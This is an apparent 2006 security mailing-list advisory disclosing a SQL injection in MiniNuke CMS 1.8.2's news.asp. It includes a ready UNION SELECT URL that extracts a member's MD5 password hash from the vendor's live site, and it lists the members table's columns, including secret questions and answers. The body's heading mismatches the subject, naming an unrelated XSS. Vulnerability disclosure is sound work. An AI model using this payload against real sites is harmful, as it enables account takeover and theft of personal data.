Advisory: MiniNuke CMS System <= 1.8.2 (news.asp) SQL Injection
Date: Thu, 12 Jan 2006 22:22:17 -0600
From: [email protected]
To: [email protected], [email protected],
Subject: Advisory: MiniNuke CMS System <= 1.8.2 (news.asp) SQL Injection
vulnerability
References: <20060102234526.o22qne4zi474wocw@webmail.nukedx.com.>
<20060109213942.ayea5f4rstoo00ww@webmail.nukedx.com.>
In-Reply-To: <20060109213942.ayea5f4rstoo00ww@webmail.nukedx.com.>
MIME-Version: 1.0
Content-Type: text/plain;
charset=ISO-8859-9;
format="flowed"
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
User-Agent: Internet Messaging Program (IMP) H3 (4.0.3)
X-Virus-Scanned: antivirus-gw at tyumen.ru
--Security Report--
Advisory: XSS attack on Superonline.com email service.
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 12/01/06 08:47 PM
---
Contacts:{
ICQ: 10072
MSN/Email: [email protected]
Web: http://www.nukedx.com
}
---
Vendor: MiniNuke (www.miniex.net)
Version: 1.8.2 and prior versions must be affected.
About:Via this method remote attacker can inject SQL query to the news.asp
---
How&Example: GET -> http://[site]/news.asp?Action=Print&hid=[SQLQuery]
http://www.miniex.net/news.asp?Action=Print&hid=66%20union+select+0,sifre,0,0,0,0,0,0,0,0+from+members+where+uye_id=52
Columns of MEMBERS:
uye_id = userid
sifre = md5 password hash
g_soru = secret question.
g_cevap = secret answer
email = mail address
isim = name
icq = ICQ Uin
msn = MSN Sn.
aim = AIM Sn.
meslek = job
cinsiyet = gender
yas = age
url = url
imza = signature
mail_goster = show mail :P
avurl = avatar url
avatar = avatar
--
Thanks to ajan;)
Regards,
From the NWPX team,
nuker a.k.a nukedx
